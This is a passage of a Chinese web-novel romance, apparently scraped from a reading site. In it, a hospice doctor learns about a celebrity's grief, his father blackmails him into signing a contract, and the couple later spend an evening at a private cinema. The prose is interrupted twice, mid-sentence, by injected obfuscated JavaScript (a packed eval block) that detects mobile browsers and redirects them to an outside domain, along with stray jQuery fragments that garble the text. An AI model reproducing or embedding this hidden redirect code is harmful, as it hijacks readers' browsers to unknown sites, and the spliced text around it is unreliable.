他望着她,喉结动了动,只轻声说了声:“好。” - 次日中午,祁慕便提前离开了。 温昭趁着中午休息空隙,去了刘婧那儿。 她调整着床边的止痛泵参数。 刘婧躺在病床上,虽然因为祁慕和温昭的关系,精神似乎好了些许,但脸色依旧蜡黄,说话的气力也明显不如从前。 刘婧微微抬手:“昭昭啊……祁慕他……有没有跟你提过你的工作啊?” 温昭动作微微一顿,恍惚了下,随即又扬起微笑坐到床边,回握住她的手。 “……没有。” 刘婧缓缓点了点头。 温昭犹豫片刻,还是开口问道:“外婆,祁慕他……很不喜欢这个职业吗?” “与其说不喜欢……不如说是心里有道坎,过不去。” “什么…坎?” 刘婧叹了口气:“祁慕他……有跟你讲过他妈妈的事吗?” “说过一点。” “他妈妈当年……也和我差不多,是癌症,后来……也被送进这个科室。” 温昭微微一怔。 “那时候……碰上个不负责任的医生,让她吃了不少苦。”刘婧声音哽咽,断断续续地说,“本来……医生说至少还有半年的……到最后,连一个月都没撑到……” 温昭心紧了一下。 她原本以为,他只是对医疗有误解,或是别的什么原因…… 却没想过,背后藏的是这样血淋淋的伤口。 “他送我到这里的时候,我…也心慌……那毕竟,毕竟也是我女儿……”刘婧说着,眼泪无声地从眼角滑落。 温昭的眼眶也跟着红了,她握紧外婆的手,说不出话。 “可是看到你之后……我才慢慢放下了心。”刘婧反手轻轻拍了拍温昭的手背,“我知道,你是个好孩子,更是个好医生……昭昭,真的谢谢你。” 温昭摇摇头,声音温柔、认真:“外婆,我是医生,照顾好您、照顾好每一个病人,都是我应该做的。” 而关于祁慕。 直到这一刻,她才真正明白他曾经为什么那样抗拒“临终关怀”。 她几乎能想象,当外婆确诊的那一刻,他有多痛苦。 当他不得不将外婆送进这个曾带走他母亲的科室时,内心又经历了怎样的挣扎与煎熬。 …… 办公室里静悄悄的,温昭靠在椅背上,望着窗外走过三三两两的病人、家属和同事,思绪不由自主地,飘回了那一天。 祁慕红着眼眶,强忍着泪,颤着声音求她的那一天。 记忆画面清晰得仿佛就在眼前,温昭心口蓦地一酸,还没来得及反应,眼泪就已经无声地滑落下来。 目光渐渐失焦。 “那个时候的你……是不是痛极了……” 她似乎能想象到祁慕来找她前,那种心情。 脑海中渐渐浮现那个,靠在墙上,忍着痛苦,轻轻哽咽的人。 不让任何人发现。 跟那天一样…… 沉默、脆弱,却又固执地独自承受一切。 - 车子缓缓驶入别墅区,最终停在一棵高大的梧桐树下。祁慕推门下车,站在那扇熟悉的黑棕色铁门前,静静地望着这栋既熟悉又陌生的房子。 当年离开的时候,他从没想过,自己还会再回到这里。 他深吸了一口气,推开铁门,走了进去。 “咚咚咚——” 敲门声刚落,门很快就从里面被打开。 开门的是从小就在祁家帮忙的保姆,夏姨。 也是自母亲走后,这个家里唯一一个还真心对他的人了。 “小慕来啦。”夏姨一见是他,脸上顿时绽开笑容。 “夏姨。” “快进来,快进来,”她一边让开门,一边仔细看着他,“都长这么大了……跟你妈妈长得真像……” 祁慕浅浅地笑了笑,迈步走进屋内。熟悉的沙发、楼梯、摆设……一切仿佛还是离开前的模样。 恍惚间,他耳边似乎又响起了母亲温柔、带着关心的声音—— “阿慕,快过来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286454|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿慕,慢点跑,小心摔着。” “阿慕你看,把这个积木放在这里,对不对呀?” “阿慕……” “……” 祁慕的眼眶渐渐发红。 ——“妈,我回来了。” ——“可是,你走了……” “哟,阿慕来啦!”一道谄媚、刻薄的声音突然打断他的思绪。 祁慕迅速敛起所有情绪,发红的眼眶在瞬间恢复如常,只剩下一片冷冽。他转过头,看见路璇和祁子航正从楼梯上走下来。 “你爸爸在楼上呢。”路璇假笑着。 他没有理他们,径直从他们身边走过,步上楼梯。 等他身影消失在转角,路璇才冷哼一声,低声问身边的儿子:“你爸突然找这小贱种回来,有什么事?” “我也不清楚。”祁子航淡淡答道,目光望着楼梯方向。 “这些年来,你爸找他联系也最多是为了你的事情,而且也都是电话联系,这次突然叫他过来,肯定有别的事情,你有空多打听打听。” “我知道了,妈。” …… 祁慕脚步停在拐角,面前就是祁清远的书房。而紧邻着的,原本是母亲的房间。 他的目光不由自主落向那扇紧闭的房门。自从母亲走后,它就被祁清远改成了储藏室 他只看了一眼便收回视线,拧开了书房的门把。 祁清远正坐在宽大的书桌后看文件,闻声抬头:“来啦。”他指了指面前的座位:“坐吧。” 祁慕走到书桌前,双手拍在桌面上,身体前倾:“你到底想干什么?” 祁清远放下文件,十指交叠放在桌上:“我是你父亲,叫自己儿子回家,需要什么特别理由?” “呵,”祁慕扯出一个冷笑,充满了讥讽,“父亲?你也配?”他直起身,目光锐利,“你怎么知道我和她的事?” “碰巧看见的。” “碰巧?”祁慕侧头眯起眼,“你觉得我会信?” “信不信由你。总之,我看见了。”祁清远站起身,走到祁慕身旁,“如果不想这件事被媒体曝光,就答应我一个要求。” “……”祁慕顿了顿,“什么?” “你和你现在公司的合约,是不是快到期了?” “这跟你有什么关系?” “我的要求就是——”祁清远转身,将桌上早已准备好的一份合同推到他面前,“解约之后,来我的公司。” 祁慕轻嗤一声,抬眼看他:“祁清远,这么多年,你是越来越会算计了。让我签去你公司,替你们一家子赚钱?” 他一字一顿,斩钉截铁:“你、做、梦!” “你可以不同意,”祁清远并不动怒,反而慢条斯理地坐回皮椅,双手交叉,“不过,你有没有想过,一旦你们的关系曝光,会是什么后果。你辛辛苦苦打拼的事业,还有她那份的生活……会不会就这么,” 他耸了耸肩,“被你给毁了?” “你威胁我?”祁慕冷硬地看着他。 “不全是威胁,只是一个……很小的要求。”祁清远点了点头,“你有权利拒绝。只不过,别后悔。” 祁慕的拳头在身侧攥得死紧,胃里一阵翻搅般的恶心。他从未像此刻这般清晰地认识到,眼前这个人居然可以卑劣到这种程度。 果然,物以类聚,人以群分。 能看上路璇这样的人…… “你的合约还剩一个月吧?我给你两个星期考虑,”祁清远像是施舍般开口,“时间……应该够宽裕了?” “连这……都调查清楚了。”祁慕冷笑,“祁清远,你这根本不是商量……而是通知吧。” “随你怎么想。反正,27号,我在公司等你。” 祁慕死死盯着他,眼底烧着被冰冷压抑的怒火,几乎是用尽全身力气,才面前克制住那股挥拳揍向那张虚伪面孔的冲动。 “哦,对了,合同你先拿去看看。” 祁慕的目光落在那份放在桌上的蓝色文件夹上,如同一款寒冰,散发着冷气。他闭了闭眼,深吸一口气,压下了心中的暴戾,最后还是一把将它抓起,头也不回地摔门而去。 只留下巨大的声响回荡在二楼的走廊上。 52. 第52章 暮色渐沉,天光从橙黄流转成温柔的粉紫色,四周渐渐安静下来,路灯一盏接一盏亮起,暖黄的光晕映在祁慕冷白的脸上。 手上的那份合同,被他死死地攥着,始终未打开。 祁清远那些话,像刻进脑子里的磁带,反复回响—— “你有没有想过,一旦你们的关系曝光,你的事业,还有她那份平静的生活……会不会就这么被你给毁了?” 他耳朵嗡嗡作响,最后只剩下那句“她平静的生活”反复刺痛神经。 他烦躁地按下车窗,夜风徐徐灌入。 车正对着温昭所住单元的侧面,抬头便能望见她窗口由暗转明,亮起一团暖黄色的光。 他垂下眼眸,沉默片刻,终于动手,翻开了那份合同。 纸张一页页翻过,条款与寻常签约合同无异。 可直到最后一页,他的手指猛地顿住,眉头再一次狠狠拧紧。 分成比例上清清楚楚写着—— “3:7” 在娱乐圈,以他如今的人气与流量,六四分成已是行业常态。即便刚出道时,最低的合作方也开出过四六的比例。 而祁清远这份合同,根本连掩饰都懒得做,摆明了是吃定他的霸王条款。 “啪”地一声,他重重合上合同,狠狠摔向副驾驶座。纸张哗啦一下散开,零零落落掉在座位上、地上。 他闭着眼,压抑着几乎脱口而出的怒火,低沉的嗓音从齿缝里挤出:“祁清远,真特么有你的!” 他双手搭在了方向盘上,垂着头,闭上了眼,呼吸粗重。 …… 直到窗外一家家灯火渐次熄灭,才缓缓抬起头,天色更加暗沉。沉重的脚步在家门口停下,他侧过脸,抬起头,看向了对面闭着的那扇门。 垂眸,拿出了手机。 指尖轻点:【睡了吗?】 很快,屏幕亮起:【还没。】 他顿了顿,继续打字:【方不方便开门?】 没过一会儿,门内就传来了由远及近的脚步声,轻轻地敲在她心上。 祁慕站在楼道内,光线暗淡。 他垂着头。 直到—— “嘎吱——”一声。 1202的房门被推开一条缝,明亮温暖的光线顷刻洒落,先落在他深色的裤脚,又缓缓向上蔓延,漫过他黑色的短袖,最后将他这个人照亮。 他缓缓抬起视线,视野所及之处是那张让他瞬间心安的脸。 温昭穿着一身粉色睡衣长裙,长发松散地垂落,几缕搭在身前,眼神清澈干净,就那样看着他,声线轻柔:“你刚回来了吗?饭吃……” 还没等她说完。 祁慕便一把揽住她的腰身,紧紧拥入怀中,整张脸深深埋进她温热的颈窝。 温昭一愣。 随后缓缓抬起手,轻轻摩挲着他的背脊。 “是不是很累啊?” 祁慕闭着眼,在她肩头轻轻摇头:“不累,就是一天没见你了,想你了,想抱抱你。” 他说着,收拢手臂将她拥得更紧,仿佛要将她揉进自己的身体中。他深吸了一口气,鼻尖萦绕的是她发间淡淡的茉莉清香,和她的人一样,温柔,莫名让他安心。 就这样抱了好一会儿。 他才低声开口:“昭昭,你放心,我一定会保护好你。” 这话说得有些突然,没头没尾的,让温昭觉得有点奇怪。 但她也没多问。 弯起嘴角,手指一下下抚着他的背,回了句:“我知道。” 在上楼之前,在看到她之前。 他的心被两股激流不断对抗着,满是犹豫、挣扎与不甘。可在见到她的那一瞬间,所有纷杂的念头忽然就静了下来。 他选择低头。 他选择妥协。 不为别的,只因为她。 他要保护她。 保护他的世界中心。 - 周日。 许汀州是今天下午的航班。 原本订的是周五的航班,可公司那边突然有点事要交接,只能推迟了两天。 下午,天阴了下来,飘起淅淅沥沥的雨,也是这个星期头一回下雨。温昭本来想自己打车去机场,祁慕却非要送她。 说什么“下雨天打车不方便”。 温昭没多坚持,也就随他了。 祁慕一个人坐在驾驶座,看着滴落在窗上的雨水,手指有一搭没一搭地敲着方向盘,目光一次又一次瞟向仪表盘上的时间。 “送个机,要这么久?”他垂下头,声音低低地嘀咕了一句,藏不住那点躁。 六月中下旬的天本就闷,再加上下雨,更是让人透不过气。他额头轻轻抵在方向盘上,努力说服自己要表现得大度一点。 “算了。” “送机而已……家人嘛……” “正常……” “理解,理解……” 窗外的雨渐渐大了起来,绕得他思绪不宁。 他有些烦躁地直起身。 刚一抬头,就看见温昭撑着一把透明的伞,从出口那边快步走来。 他嘴角自觉地咧开。 温昭拉开车门坐进,发丝上、衣服上还沾着细细的雨水。 “怎么去了那么久?”他尽量语气平常地问。 “哦,”她一边低头系安全带,一边解释,“汀州哥航班稍微晚点了一点,就顺便聊了几句……” “……哦。” 她转过脸,略带迟疑地问:“是不是这儿不能停太久啊?” “不是,”他移开视线,随口扯了个理由,“就是……有点饿了。” 温昭低头看了一眼手机:18:30。 确实到饭点了。 她说:“我知道附近有家店还不错,有包厢,要不要去?就2.7公里。” “好。”祁慕点了点头,发动了车子。 …… 祁慕低头喝了口汤,看着温昭安静的模样,脑海里蹦出一个想法。 他放下勺子,开口说道:“昭昭,待会要不要去看电影?” “看电影?!”温昭放下勺子,有点哭笑不得,“祁老师,你是没看自己的微博粉丝数吗?” 自从《脱口秀4》开播到现在。祁慕虽然没讲多少段子,可每次露脸都疯狂吸粉。 几乎每播一期,他的粉丝数就往上涨二三十万。 现在已经突破4000多万了。 看电影,还是周末。 等于自爆。 温昭想都没想直接拒绝了。 祁慕没放弃,继续坚持着:“我知道有个私人影院,我朋友开的,应该没什么人。” “……真…的?” “嗯。” 温昭捏着勺子犹豫了一下。 抬眼,看到他眼神期待,心一软,便松了口。 “那……行吧,不过万一到时候人多的话,我们就撤!” “好——” - 两人到了那家私人影院,果然人很少,只有零星几个工作人员安静地走动。影院的装修很有格调,比很多大型商业影院都宽敞舒适,座位全是宽大的沙发椅,让人一坐下去就容易犯困。 果然,祁慕睡得比谁都快。 开场才二十多分钟,他就彻底睡熟了。 温昭这下终于知道为什么没什么人来了。 虽说近几年影视行业不景气,好多电影剧情老套,但这椅子软软的太舒服了,再配上暗暗的环境,和不算吵闹的影片声。 搁谁谁都容易犯困。 连她自己也是强撑着眼皮才没睡着。 毕竟钱都花了,不能浪费。 她侧过脸,看向身边睡得正沉的人,一时起了点调皮的心思。 她捏起一缕发丝,轻轻蹭了蹭他的鼻尖。 祁慕果然皱了皱眉,无意识地偏了偏头,却没醒。 又想到什么。 她偷偷拿起手机,稍稍向后靠了靠,镜头对准他。 画面里,一只纤细的手正捏着一缕头发,悄悄逗弄着他高挺的鼻尖。 他皱着眉躲了一下,那模样有点糗,又有点可爱。 温昭忍不住笑了一下。 “咔嚓” 她本来只想偷偷拍下他这副与往日不同的模样。 却不料, 完全忘了关闪光灯。 一道刺眼的白光猛地闪过,正正打在他脸上。 再熟睡的人也该醒了。 他倏地睁开眼,转过头,寻找着光的来源。 只见温昭半举着手机,张着嘴,一脸“完了完了”的心虚样。 只一瞬,就猜到了她在干嘛,但没拆穿。 他抿着嘴角,故意拖长音调,悠悠地问:“……在干什么?” “伸、伸个懒腰……”她声音越说越轻,几乎要被影片的背景音吞没。 祁慕嘴角一咧,带着戏谑的笑意:“温医生,你是不是除了‘伸懒腰’,就找不出别的借口了?” “我……” 他轻轻抓住她的手腕。 温昭怔了一秒。 还没等她反应过来。 祁慕稍稍用力,将她的手按在座椅扶手上,整个人也跟着倾身靠近。 “同一个借口用两次,可不太高明啊。” “温医生。”他靠近她耳后,温热的气息拂过,和影院里冰冷的空调冷气格格不入。 温昭忍不住躲了躲:“哪、哪有两次……” “上次等报告的时候,你说伸懒腰,其实是想摸我吧?” 记忆回笼。 温昭脸上顿时烧了起来,强装镇定地解释:“我那是想看看你还烫不烫……”怎么到你口中就变成流氓说法了。 “哦……这样啊……”他低笑,温热的气息掠过她锁骨,“那这次呢?偷拍我,想干嘛?” “你之前……不是也偷拍我……”她弱弱地反驳。 “哦——”他嘴角扬起,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286455|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样啊,那你说怎么办?” 温昭挣开他的手,直起身子,别过微微发烫的脸。 她沉默了几秒,再次开口:“那我拍了你一次,扯、扯平了。” “嗯,”他又笑着凑近了点,“那下次再偷拍,可别被我抓到。” 他在一旁低低地笑着,像小猫绕过手心,让人耳根发麻。 经他这么一闹,温昭那点困意早已烟消云散,只好硬着头皮把这部片子认真看完。 可她和祁慕都没想到,这部片子越到后面越揪心—— 讲的竟也是一个关于医疗事故的故事。 一个看似小小的疏忽,却让主角失去了生命中最爱他的人。 两人看得沉浸,谁也没说话。 尤其是祁慕。 某一刻,温昭微微侧过头,大屏幕上流动的光恰好映亮他湿润的眼眶。他的脸紧绷着,强忍着泪水,手也攥得很紧,手背上的关节用力到发白。 她没有作声,只是将手伸进他的掌心,手指一根一根嵌入他的指缝,轻轻握住。 随着掌心变得温热,他身上那股紧绷到几乎颤抖的力道,才终于一点点、缓慢地松懈下来。 …… 走出影院时已经十点多了。 雨也停了,只留下地上一个个明亮的水洼,倒映着暖黄色的路灯。 祁慕低头看了眼表,转过身:“昭昭,陪我散会儿步吧。” “好!” 路灯将两人的身影拉得很长,偶尔掠过水洼,影子便随之晃动、弯曲。 他们默默走了很长一段路,祁慕一直没有说话,只是紧紧握着她的手。 温昭好几次侧过头看他,他看着前方,目光却很空茫。她猜到了他在想什么,每次想要开口,却不知怎么说,心里软得发酸。 直到快要走到路的尽头。 她拉住他,终于忍不住开口:“……祁慕。” 他怔了怔,回过神,转头看她:“怎么了?” “当初……你把外婆送进临终关怀科的时候,心里在想什么?” 祁慕眼神骤然聚焦,有些诧异地看了她一眼,随后又弯起一个淡淡的笑容。 “怎么突然问这个?” “那时候的你……是不是…很无助?”温昭停下脚步转身,认真看向他那双仍带着恍惚的眼睛,“我以前一直以为,你抵触临终关怀,只是觉得它救不了人,没有意义。可我没想到……真正让你难过的,是那些不负责任的医生……” 他喉结滚了滚:“……外婆告诉你的?” 温昭抬眼看他,眼眶微红:“嗯……” 祁慕低下头:“那时候……确实很挣扎。但还好……我遇到的那个医生,是你。” “祁慕。” “你相信我,我不是他们……我会尽力把外婆照顾好,让她安安心心的离开……” 他伸手揉了揉她的发顶,很轻地“嗯”了一声,而后将她拥入怀中。 他的声音贴在她上方传来,沉沉的,带着全然的信任:“我当然信你。从我把外婆交到你手里的那一天起,我就从来没有怀疑过。” 温昭的手臂在他腰间轻轻环紧,脸颊贴在他胸膛上,耳边是一阵阵踏实的心跳声。 她继续说着:“祁慕,你要相信,那些真正爱我们的人,从来不会真正离开。他们可能化成了一阵风,一场雨,又或是夜空中某一颗特别亮的星星,只要我们记得他们,想着他们,他们就一直一直都在……” “嗯……”他低低地应着。 简简单单的话,却每一个字都充满了力量,像温泉一样缓缓渗进他心里最冷、最不安的角落。 …… 回到家,温昭打开家门,刚要合上。 祁慕叫住她:“昭昭。” “嗯?”她回过头。 “有个事情可能要跟你说一声…”他犹豫着。 “什么?” “周四……我可能有事情,就不跟你一起去看外婆了” 温昭心里咯噔一下。 周四? 她在心里默默计算着时间。 那不就是…… 27号? “是工作上的事情吗?”她问。 “嗯。” 她垂下眼帘,点了点头,低低应了声“好。” 门“咔哒”一声轻轻合上。 她靠着微凉的门板,在黑暗中静静站了一会儿。才慢慢摸出手机。 屏幕的冷光照在她脸上。 她点开日历,视线停在那个刚刚所提及的日期上。 备注行上标注着一行小字: 【一个月纪念日】 后来还跟着一个爱心图标。 本来……她是偷偷计划好要和他一起过的,连吃饭的餐厅也看了好几家。 她微微叹了口气,胸口泛起一阵淡淡的失落。 她拇指轻轻一划,按熄了屏幕,四周再次陷入一片寂静的黑暗。 算了。 还是工作重要。